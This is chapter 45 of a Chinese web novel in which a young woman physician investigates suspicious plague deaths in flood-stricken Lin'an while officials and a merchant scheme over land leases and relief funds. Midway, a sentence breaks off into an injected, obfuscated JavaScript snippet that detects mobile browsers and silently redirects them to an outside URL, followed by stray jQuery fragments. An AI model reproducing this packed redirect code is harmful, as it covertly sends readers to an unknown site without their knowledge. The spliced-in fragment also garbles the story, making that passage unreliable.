45. 第 45 章

作品:《静看后来人

    “有关疫病的记载都在这里。”


    “回来的挺快。”王茯接过病册,“安大人真叫你去给赵大人送东西?你怎么一开始不说?”王茯不信,她可不想还没青史留名就被欺诈朝廷命官禁止行医的罪名。


    得好好问问……


    “不信?自己去县衙问。”老样子硬硬丢下一句。


    “激我?”王茯不上当,亲兵队长把她和张二娘安排进客栈,护送的两个亲兵住在楼下,她为验证他口中一句话私自跑出去遭人厌烦?“我今晚要把病册看完没空去问,休扯我背锅。”


    烛光掠影,把酒推盏。


    《大栎律法》有文:凡遇灾疫之省,官员必百里上报,故有私瞒隐报者轻杖责罚俸,重降职罢官牵连族人。在职官员不得大开宴席,罢宴以顺天时。


    万永客栈四楼安濯吩咐小二备下房间,五碟清素小菜,中间架着一口冒着热气笋干老鸭汤,银碗竹筷,组成一桌简易宴席。


    “安某知道朝廷规矩不敢冒犯两位大人,只好备下这些小菜,得大人不嫌,临安水灾刚结尾就闹出这等子事,往后在百姓手中收桑一事还得劳烦二位大人从中协调。”


    “大伙都是为朝廷谋事。”王洛山轻抿一口酒,“临安瘟疫一事能那么快散出去,都亏万大人从中协调,安老板可得多敬他一杯。”


    “王大人提醒。”安濯畏畏点头,再斟一杯酒,“安某幸得万大人如此,要不安某真要花六两银子去收临安的农田,这一亩桑叶养蚕收成远比种田收成远上三层,买田收桑,养蚕织布,请工人绣娘耗费巨大,安某一时半会也拿不出那么现银。”


    “就像王大人说的大家都是为朝廷办事。”


    朝廷迟迟不拨银两,省里单靠藩库里一点积蓄根本支撑不下去,谢文晟有圣上体恤,万青和王洛山一合谋决定采用老法子在这些客商手里套出银子,换作平日像安濯一类客商邀约,他们连看都不看一眼,现在形势比人强他们只好夜半一身布衣赴约,“安老板说要在城里置办一所纺织染坊,你看中的地方地段不错,办下来耗费手续人力稍稍有些麻烦。”


    万青开口引入正题,王洛山也不闲着附和道:“我们这租金最少也是三年起步按照年约一次交齐,税银大半归朝廷,留余存地方,京州那个姒家就是你准女婿他在越州早就是常客,天云山那整座山一续就是十年,安老板在这兴起丝绸又是带着皇命帮地方渡难关,定业驻地往后玄舶司同外商合贸的份额不必再费京中纺织补货,只尽心供应宫里就行。”


    “多谢二位大人费心为我寻得一处好地。”安濯敬上一杯,他明白万王二人打的什么算盘,故作为难道:“为国尽忠这本是我们这些为民者的本分,干完今年百姓手里有余银渡过难关,安某也想过在越州继续……可……”


    地方排外,越州地势盘高湖江之水丰多直通大海,在这养蚕生丝做丝绸生意的人不少大多都是越州本地士绅,外乡人想扎地久驻不和官府搭上关系不出一年全都赔尽。


    姒兰君能在越州租去一座山头十年至久亏的是她父亲和上一任田知府攒下的交情,田知府倒了,她没了依靠只能献个不伦不类的女大夫去临安做垫脚石攀上谢中丞这颗大树。


    政通人和往往不是单靠官员一种身份就能做到,官商协调适时合作历朝历代用于规驯百姓都是极好的招数。


    万青先听出安濯对本地士绅的顾虑,“土地签约的事本不是我们两个来和你来提,照规矩安大人是知府,这些事也应你们父子二人关起门聊才是。”


    “我和王大人鸠占鹊巢说了那么多,索性给你透个底,安老板在越州定业不必管那些士绅怎么想,单有皇命一条在身,定业驻地的主意我和王大人可以担保没人敢来找你的麻烦。”


    “对。”王洛山接话,“谁敢找安老板的麻烦就是和整个臬司衙门做对。”


    几口豪言壮语万王两人拍着胸脯做誓,仿佛真有和他相见恨晚一致对外之义。


    安濯呵笑两声,“二位大人愿意指点一二,乃是安某一生之幸,怎敢有鸠占鹊巢之说,小儿筠修初次为官将来靠的也是两位大人多加提携。”


    “蕴儿斟酒。”


    长声落罢,一双玉手纤拨珠帘,乌云长鬓,半蒙面纱,烛影翻涌,半臂葱玉莲纹齐腰襦裙映入粉墙,俏丽的身形一览无余,莲步福身一礼,“拜见两位大人。”


    万青一惊,不是被这女子身形容貌惊艳,眸光一凝给王洛山递去一个警示。


    “二位大人不必见外,小女听闻二位大人来访,慕闻来见。”


    客谈饮酒,王洛山万青未穿官服,算不上朝廷命官身份,听身前女子是他女儿,面色稍缓,只听闻家中宴事女方卿客多由女家亲自招待。


    京州风俗通广,不知什么时候改了规矩,接待他们这样的男外客,竟也需要年华二八的女卿客。


    万青:“云鬓半整,沉鱼落雁之容,令媛果然不俗兄长之貌。”


    王洛山嘴角一平,鄙屑之色渐露,遮袖饮酒做挡,他和万青平日再不对付也知这种场面得维护女家颜面,一致低头不看安蕴。


    王洛山坐不住,为官多年他罪不爱的就是使美人计的糟局,“女公子有礼,事既谈罢,我们二人不便久留,明日还需理算公务,安老板留步。”


    “二位大人……”


    “是啊。”万青也起身,“临安县的事一天一个新活冒出来,谢中丞病了,底下的活都压到我和王大人身上,定业的事安老板多多考虑,我们可不能再耽误时间。”


    “告辞。”


    看完病册王茯翻阅医术大致整理出临安县疫病源头,经过七日药诊病情有所缓和,客栈住客不多,午后夜时张二娘都在后厨给她们两个加餐。


    日落西山,三人坐在院中抖动筛箩,提防夜间下雨,曝晒后的药材装进布袋,蓝玉筛选蚊虫张二娘和王茯负责装袋捆绳,“医书上有明疫戾之气多从口鼻皮毛入体,正气不足环境粗恶都可产生疫症。”


    “吊书袋。”蓝玉一刺。


    “妹子真厉害。”张二娘真心称赞。


    被蓝玉一刺王茯放下布绳,踱步转圈,一本正经道:“临安正值水灾饮水多有泄物秽物所染,夏日炎热大家聚集一堆洗漱不便,卫生杂乱,饥不饱腹阳气不足,自生疫病,赵大人虽发送汤药,终归不知其源,自然不得要领。”


    “呵。”蓝玉冷笑加刺,“王大夫吊书袋也得结合实证。”


    七日前安筠修托付给赵垦五百两银票蓝玉带去,赵垦人在后山焚烧尸体他就瞄过一眼。


    尸体全身红温遍布,确为疫病高热不假,口鼻留有干沫,耳口渗有血迹,不太单像疫病发作的痕迹。


    “或许不一定全是疫症?”当时夜里顾着和赵大人交代省里给的指令,他也只是匆匆一眼,瞧的不算仔细,这份猜疑说的不准确。


    有隐情!


    听亲兵队长几个饭后闲聊,后山焚烧尸赵垦每日都会花上一小半时间亲自盯着,瘟疫来势汹汹,她暂时稳定病情,刚来几日死伤折数不少,尸体高堆积从远处看去就像一坐小堡垒,为防百姓伤心恐慌,赵垦吩咐夜晚焚尸,王茯慢步走回蓝玉身侧,蹲下身,认真问道:“你去看过尸体?”


    赵垦为防百姓夜里乱行,紧禁宵夜,不得手令不能夜出,他们三人唯一一个夜里外出见过赵垦的就蓝玉一人。


    看他不答,王茯逼问,“尸体有异常!”


    蓝玉别过头,对张二娘转移话题,“药好了吗?”


    “包好了。”张二娘捆住绳结对于两人斗嘴日常早已见怪不怪,不往深处想,抱起布袋掂了掂,“照妹子试药下药的熬法,最后这些还够三日。”


    “我去叫人买。”像是找到借口离开,蓝玉拍了膝盖染上的药须,不看王茯质问横气的眼眸,跨步离开。


    “二老爷……又……又!”差役急声高喊。


    自从临安发生水灾郭县丞真是一夜好觉都没睡过,好不容易来了个女医缓解疫症打盹睡个早觉,这帮小兔崽子存心不叫他安生,“又是什么事啊?”


    听着熟悉的声调,郭县丞不用睁眼大约又是吃完米粮一类的借口,虚虚抬脚指了个方向,“印章在那粮食吃完自己盖。”


    差役擦着汗,“二老爷不是粮食!”


    “住在庙口南边一群灾民染病没了!”


    郭县丞迷着神,“死了就死了抬起烧了就是。”


    差役看他还是睡梦中,大胆舀了一瓢水泼在他脸上,“二老爷醒醒!庙南一群都死了!”


    凉水一泼,郭县丞打过一个冷颤,“全死了!”


    “是。”


    “前后门路口街道都是衙门里夜巡当差的兄弟亲自看守,一只苍蝇飞不出去。”


    “哎!女人误事。”郭县丞抢过水瓢恨恨砸下,“省里怎么就派了女人下来治理疫病,我说她看不好堂尊不信,现在好了病没看好又多死了人,这叫什么事!”


    “我看她就是一个中看不中吃的绣花枕头”差役哄着他,“一个女人家不专心在家相夫教子,身边带着一个老妈子一个侍卫,就敢充当悬壶济世的神农扁鹊,跑这来游玩,大约背后有些来头,二老爷好不容易借着疫病省下几顿口粮不能给她人做嫁衣。”


    “小的有句话不知道该说还是不该说。”


    “哟呵,换了新头你小子还拽上文来?有屁快放!出了这晦气事,我还得带人去衙门禀报堂尊。”


    “如今县里有码头运来几十袋粮食,我听巡抚衙门几位爷说收桑的大户眼下就在越州,咱们临安这几万亩的田省里还没借收,兄弟们这一个多月忙活堂尊卡扣严实,兜里是在干净回家媳妇不让亲热只有打地铺的份,家里娘们老小指着我们这些衙里当差的过日子,大家伙穷的要揭不开锅,请二老爷在堂尊面前多提提这借田的事?”


    “朝廷下了旨意轮得到你们这帮兔崽子瞎操心?”


    “田是迟早要借给省里,可不没人去种嘛。”


    “借住在县衙后院一堆灾民距离庙口远,看着没病没灾二老爷不如派他们去种桑,插桑就指望在六月这个节分,芒种赶不上再拖就到六月尾,别的受灾的。县份五月尾早早种上桑苗,咱们可不能落后于人。”


    “这......也不是我一个人说了算。”


    差役听有戏加大拱火,“再说朝廷愿意花一亩六两银子借他们的田折换下来就是一百多万两,赵大人忙着处理瘟疫的事一时半会缓不过来,到时候二老爷一提事关百姓生死顺应民心的事,想必堂尊也不会不答应,二老爷从别处刮些什么给百姓养蚕修屋布置农具,小的们也好沾个光。”


    “算你小子讲良心,没想着把官家的银子都算自己腰包里去,挺会为百姓考虑。”


    “二老爷体贴民心,咱们这些做下属的那个不紧着跟二老爷学习。”


    “那就走吧。”抖抖袖口被差役一提醒,郭县丞霎时庙南死的百姓也算物有所值,不必抗着病体去种桑,也算积攒阴德早日去地府和先辈团聚。


    “二老爷请。”


    “怎么会……”亲兵队长带着庙南再度出现百姓离世的消息传来。


    “妹子别急许是中间出了什么差子,你依着病状加药减药再改就是。”


    今早到傍晚她足足察看三遍,并没有病情加重症状发生,按照计划吃完一个疗程病情控制下来,她就可以试着换药固气中元。


    庙南就算离庙口最近,她也是亲眼看着大家病势好转,怎么会突然离世。


    “瘟疫不简单,俺们隔壁村有一年也发疫病据说死了不少人,你才来临安就不顾自己亲自一个个经手问诊,熬药改药。”王茯年纪还小,更是第一次面对瘟疫这个谁也不愿意来的烂摊子,看妹子两眼空神,张二娘挥挥手,扶着坐下,圈上半个胳膊捡词安慰着,“这些天你下心血做的功夫临安百姓心里都清楚,病情好转就连赵县令也是一直信任你,现在临安没有大夫全都靠你一个人支撑,妹子你可不能自乱阵脚,要不叫我们和灾民去那再讨一个大夫回来?”


    张二娘安慰王茯的话不是空穴来风。


    民可使,由之,不可使,知之。


    临安百姓不是不识礼数的刁民,常说路遥知马力,日久见人心。临安这会子没有大夫愿意赶来,一些死去没主的田地不知有多少人盯着,临安地穷家里从小不读书种田干活的人多县里就没见过女大夫,起初大伙看见王茯是个年轻女娃娃将信将疑,几日随着王茯不顾自个染上瘟疫的风险带着药箱日日冲进来望诊开药,他们里头大半都认下她的身份。


    亲兵队长话带到,营里看病的都是男大夫,没有哄女娃的天赋,张开口不好说什么,只得


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483662|184436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    把缺少药材单购买情况说一遍,“女医要的药材我们已经派人去省里置办,日夜兼程算着明日晌午就能运到。”


    抬脚回来就见亲兵队长守在王茯门外,脸上挂着说也不是走也不是的尴尬神色,寥寥问上几句,知会他放心离开,转身回屋取下吃灰的长剑,自到临安他提着药箱一直跟在王茯身后,这把剑挂在墙上无人搭理。


    “走。”左手握剑,蓝玉快步捞起王茯一只胳膊,不由分说扯下楼。


    “赵县令嘱咐夜里不许外出,蓝兄弟你这是要带妹子去哪?”


    “不用煮宵夜。”拖着王茯下楼,蓝玉只当没听见张二娘问话胡乱回复。


    “真是。”张二娘一愣,想着蓝玉有功夫在身上,这些日子相处下来他做事谨慎,应该不会有什么乱事发生,拍拍手还是去小厨房把粥熬上。


    “去哪?”临安百姓再度因疫病离世情况出现,王茯心底没有头绪,作为大夫她有必要立刻赶去庙南查验死者面容,查明具体死因。


    疫病缓和再发,王茯不由想起爷爷对自己提出那个因素。


    “我问你去哪!”得不到回答,蓝玉只一个劲把自己往前拉,整条手臂被他扯的发疼,王茯愤力抽手,两个人不防倒退两步,这是她来临安那么多天头一回当人发脾气。


    鼻头一酸,两颗泪花顷刻掉出。


    前几日换药改方再忧愁她都是瞒着大家在小厨房偷哭。


    不想让人担心,更不能让老百姓看见他们认为能救他们性命的大夫如此稚气难当。


    “去你想去的地方。”蓝玉被她力道一挣,也不再靠前强拽住她的手臂,提着长剑继续往前。


    “我想去的地方?”王茯站着不动,“那你走偏了,我要去的地方在那边。”


    “远水解不了近渴。”


    “提醒你一句后山离县衙有几里路程,等你去县衙回来再想察看尸体只有两堆死灰。”


    “你要带我去见尸体?”王茯一惊,顾不上心酸,立时忽略他无礼拽自己手臂的举动,打吸一口长气,擦去鼻口涌出一点子泪水清涕。


    “可以偷。”放缓脚步,说的光明正大。


    “你要偷尸体?”月初人静,天色乌蒙蒙盖在头顶,王茯降低嗓音,眼眸忽而睁开,方才酸愤的情绪一消怠尽,长睫扑闪直凌凌望着眼前这个要带自己去看尸体的索命鬼。


    “后山有看守的差役,尸体若是已经被焚烧,我们再被发现怎么办?”


    “不会。”蓝玉难的好性子纠正她的想法,侧眼瞥过墙上追赶持平的两块黑影,再放缓半步,静静和她平行,“你再走那么慢说不定尸体焚烧真只剩灰烬。”


    “赶快跑!”


    说跑就跑,这下换王茯拽着蓝玉手臂两人跑到后山,一高一低躲在草堆。


    这几日病情和缓尸体堆放不多,用不上垒放,垫上草席搭建四根木篷遮雨蔽日。


    “喜欢那具?”


    这口气怎么跟市场挑白菜一样......


    “最里面那个。”王茯不客气用手一指角落,扒开草堆有前面几具尸体做挡,王茯选中的尸体只能看见半个头,对比其他尸体矮上三尺,“清瘦方便。”


    “等着。”


    周声四寂,六月正值酷暑之日,万虚宫外竟不见半丝蝉鸣,堂风煞煞,经堂一吹险些把杨贞官帽吹斜。


    “皇上怎么说?”万虚宫外内阁当值的钱素扶着杨贞。


    “一个月了身子还是不好吗?”


    “越州递上来的急报皇上看完伤心内惧咳的比上回还要厉害,多亏汪公公和姜近侍伺候喝药,不然还不知道要坏到何种地步,钱素你是户部尚书给越州拨的赈灾银你们算的如何?”


    “原先临安发大水户部要拨银子被下面的人回话说是藩库有现银支缓,户部就把这件事暂耽搁下来,这会又突然遇上瘟疫,户部一时还没算好要用的银两想着连朝廷一道借田的钱一齐算下,兹事体大,朝廷借用临安县几万亩田地数额颇大还得精细归到实处,别像其他省份为图政绩好看,虚报面积按在死去农户编在鱼鳞册上。”


    “叫户部尽快核算,临安的事是大事越州遭次大灾又要借田种桑,防着海岸倭寇闹事,谢文晟身上肩子重没有银子他更不好做事。”


    “阁相属下已经写信给他们,叫他们暂时用今年商户缴纳的租金商税充做补用,来日总共支出多少银两打个票据归到户部,多退少补,户部再依着一笔笔补给他们就是,这样既不耽误临安改田的事,交上来的票据也可以充做三年一次大计①。”


    “下官参加杨阁相钱尚书。”杨铖低身一揖,内宫不得擅入,杨贞今夜内阁当值,杨铖借口同僚还自己上回替值的恩情,来太和门等他下值。


    “今夜你当值怎么来这?”父子空听半晌晚风,杨铖显然有什么话要说,钱素不便私听他们家事找个由头离开,知子莫如父,杨贞预摸他是因为听见临安的事来找自己,不加多言同行回府,行到书房最后还是杨铖忍不住开口,“孩儿在翰林院听闻临安遭遇瘟疫,不知户部为何还不拨调银两?”


    “户部事务繁忙为父已经吩咐你钱叔叔加急协理。”


    “孩儿斗胆一言,钱尚书一直推迟户部调银,其中是否有和高阁相不合的缘故?”


    “胡闹!”杨贞拍桌高斥!“我平日教你说话做事三思而行,你方才一句话要是被有心之人听去,咱们杨家就是挑唆内阁不合的罪臣!”


    “孩儿同僚赵垦安筠修身在越州,安筠修师出高阁相又是被钱苏两位大人一同举荐去越州担任知府,他的父亲更是受两位大人在圣上提点参与临安改田收桑要事,他们把事关百姓生死大事之事尽数托付安家一户,急报当前户部缺偏偏慢出银两令府衙难以运行,少不保会有人为达目的剑走偏锋,置万千百姓不顾!”


    旨意是分两天送给安筠修和安濯手上,听同僚提及他父亲也跟随前行,杨铖当时察觉不妙,钱苏二人提出的借田种桑方案不通。


    外表听来朝廷出钱接田,县衙购买桑苗,受灾的百姓只需要和往日一样种田收成。


    人心齐齐,锦簇祥和,偏偏算漏私心牟利四个大字!


    皇上内阁加上内廷监掌印太监汪公公对这份方案背后深埋的祸端竟一无所知?


    “还是说这些都在父亲计划之中?